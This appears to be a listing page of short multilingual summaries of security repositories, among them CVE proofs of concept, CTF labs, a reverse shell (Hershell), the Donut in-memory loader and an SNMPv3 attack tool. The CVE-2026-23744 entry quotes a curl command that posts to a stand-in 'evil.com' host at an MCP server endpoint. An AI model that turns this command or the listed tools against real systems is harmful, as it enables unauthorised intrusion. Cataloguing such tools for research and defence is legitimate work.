CVE-2025-53770

Divine Absolute - CVE-2025-53770 Exploit-Tool Übersicht Divine Absolute ist ein hochentwickeltes, wizardgesteuertes Python-Exploit-Tool, das auf CVE-2025-53770 abzielt, eine kritische CVSS 9.8 nicht authentifizierte Remote-Codeausführung RCE Schwachstelle in lokalen Microsoft SharePoint Server...

sandcat

Sandcat Browser Sandcat ist ein leichter, multiregisterfähiger Webbrowser, der die Geschwindigkeit und Leistungsfähigkeit von Chromium und Lua vereint. Sandcat verfügt über integrierte Live-Header, eine erweiterbare Benutzeroberfläche und Konsolenzeile, einen Ressourcen-Viewer und viele weitere...

CVE-2025-65900

CVE-2025-65900: Kalmia CMS v0.2.0 - è vulnerabile a un controllo di accesso errato Panoramica della vulnerabilità ID CVE: CVE-2025-65900 Prodotto: DifuseHQ Kalmia CMS Versione interessata: 0.2.0 Tipo di vulnerabilità: Controllo di accesso errato Privilegi richiesti: Basso account utente di sola...

CVE-2017-0199-Fix

Fix per CVE-2017-0199 Rimuovi la capacità di CVE-2017-0199 di eseguire codice modificando il gestore predefinito per i file .hta. Il gestore predefinito per i file richiamati tramite OLE2 oggetti COM è archiviato separatamente dall'applicazione predefinita del sistema locale e può essere modifica...

CVE-2023-50072

CVE-2023-50072 Esiste una vulnerabilità di cross-site scripting XSS persistente in OpenKM versione 7.1.40 dbb6e88 con Professional Extension che consente a un utente autenticato di caricare una nota su un file che funge da payload XSS persistente. Qualsiasi utente che apre la nota di un file...

traefik-CVE-2024-45410-poc

Sfida CTF Shadow Corp Benvenuto alla sfida Capture the Flag CTF di Shadow Corp! Questa sfida metterà alla prova le tue abilità nell'identificare e sfruttare vulnerabilità relative agli header di sicurezza e al comportamento dei proxy HTTP. La tua missione è bypassare le protezioni e scoprire...

Log4Shell-PoC-Application

☕ Applicazione PoC Log4Shell Applicazione web basata sul framework Spring per la proof of concept delle vulnerabilità log4shell Installazione e Avvio !Important Per avviare questo progetto è richiesto JDK 1.8 8u131 in sviluppo Utilizza il Dockerfile fornito per compilare ed eseguire l'immagine...

snmpwn

SNMPwn is an SNMPv3 user enumerator and attack tool. It is a legitimate security tool designed to be used by security professionals and penetration testers against hosts you have permission to test. It takes advantage of the fact that SNMPv3 systems will respond with "Unknown user name" when an...

donut

Versione corrente: v1.1 Indice 1. Introduzione 2. Come funziona 3. Compilazione 4. Utilizzo 5. Sottoprogetti 6. Sviluppo con Donut 7. Domande e discussioni 8. Disclaimer 1. Introduzione Donut è un codice indipendente dalla posizione che consente l'esecuzione in memoria di file VBScript, JScript,...

CVE-2021-31956-POC

CVE-2021-31956 Codice PoC WIP per CVE-2021-31956 in preparazione per OSEE. Lo migliorerò ulteriormente dopo gli esami OSEE, quando avrò tempo libero. Molti offset hardcoded devono essere modificati se il sistema di destinazione è diverso ma se è simile alle build 2020-2021, probabilmente non sarà...

hershell

Hershell Simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception. Supported OS are: Windows Linux Mac OS FreeBSD and derivatives Why ? Although meterpreter payloads are...

CVE-2025-2783

SandBoxEscapeSim CVE-2025-2783: Simulazione Educativa di Sandbox Escape per Chrome Autore: Byte Reaper @ByteReaper0 Panoramica Questo progetto è una simulazione orientata alla ricerca e educativa progettata per dimostrare il concetto di una vulnerabilità di sandbox escape all'interno di Google...

qark

Quick Android Review Kit This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs. The tool is also capable of creating "Proof-of-Concept" deployable APKs and/or ADB commands, capable of exploiting many of the...

CVE-2024-27198_LAB

CVE-2024-27198 Labor Beschreibung TeamCity stellt eine nur für Administratoren vorgesehene Seite für die Token-Verwaltung bereit, die nicht durch Authentifizierung geschützt ist. Dadurch kann ein nicht authentifizierter Benutzer ein Zugriffstoken für den Admin-Benutzer generieren, wenn er die ID...

CVE-2025-51643

CVE-2025-51643: Flash SPI non protetto consente l'estrazione del firmware in Meitrack T366G-L Descrizione I dispositivi Meitrack T366G-L GPS Tracker contengono un chip di memoria flash SPI Winbond 25Q64JVSIQ accessibile senza autenticazione o protezione anti-manomissione. Un attaccante con access...

CVE-2025-9345

Proof of Concept Path Traversal in File Manager, Code Editor, and Backup di Managefy Tipo di vulnerabilità: Path Traversal Download arbitrario di file Funzione interessata: ajaxdownloadfile Impatto: Gli utenti autenticati con privilegi bassi Subscriber+ possono scaricare file arbitrari dal server...

WebLogic-SSRF_CVE-2014-4210

WebLogic-SSRFCVE-2014-4210 Weblogic SearchPublicRegistries SSRFCVE-2014-4210 Exploit-Skript basierend auf Python3 Verwendung optionale Argumente: -h, --help diese Hilfemeldung anzeigen und beenden -u U Einzelne Ziel-URL -uf UF URLs aus Datei lesen -p P Nur angegebene Ports scannen -sn SN Nur...

CVE-2020-35590

Informazioni sull'Exploit Titolo Exploit: WordPress Plugin Limit Login Attempts Reloaded 2.13.0 - Login Limit Bypass CVE: CVE-2020-35590 Data: 2020-06-09 Autore Exploit: N4nj0 Link Software: https://wordpress.org/plugins/limit-login-attempts-reloaded/ Versione: 2.13.0 Testato su: WordPress 5.4.1,...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC sulla vulnerabilità in MCP Server. Automatizzato per la parte POST con il corpo corretto. percorso vulnerabile: root@kitploit: /api/mcp/connect metodo tramite curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

thm-ice-icecast-rce-privesc

TryHackMe — Ice: Icecast 2.0.1 RCE & Privilege Escalation di Windows Piattaforma: TryHackMe Sistema operativo target: Windows 7 / Windows Server 2008 R2 Difficoltà: Facile Categoria: Buffer Overflow RCE, Privilege Escalation Locale Riepilogo Questo rapporto documenta la compromissione completa...